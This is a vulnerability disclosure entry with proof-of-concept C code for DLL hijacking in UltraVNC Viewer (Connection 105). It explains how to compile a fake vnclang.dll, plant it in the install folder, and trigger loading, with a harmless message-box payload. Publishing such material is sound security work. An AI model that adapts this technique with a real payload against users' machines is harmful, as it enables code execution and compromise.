UltraVNC Viewer - Connection 105 DLL hijacking exploit.
8edc2cc3fc734c45aefd2d5d3c1d2b800170f62d12625b7b66f43b68a61d88a7
/*
====================================================================
UltraVNC Viewer - Connection 105 DLL Hijacking Exploit (vnclang.dll)
====================================================================
$ Program: UltraVNC Viewer
$ Version: Connection 105
$ Download: http://www.uvnc.com/
$ Date: 2010/10/08
Found by Pepelux <pepelux[at]enye-sec.org>
http://www.pepelux.org
eNYe-Sec - www.enye-sec.org
Tested on: Windows XP SP2 && Windows XP SP3
How to use :
1> Compile this code as vnclang.dll
gcc -shared -o vnclang.dll thiscode.c
2> Move DLL file to the directory where UltraVNC is installed
3> Open any file recognized by UltraVNC
*/
#include <windows.h>
#define DllExport __declspec (dllexport)
int mes()
{
MessageBox(0, "DLL Hijacking vulnerable", "Pepelux", MB_OK);
return 0;
}
BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{mes();}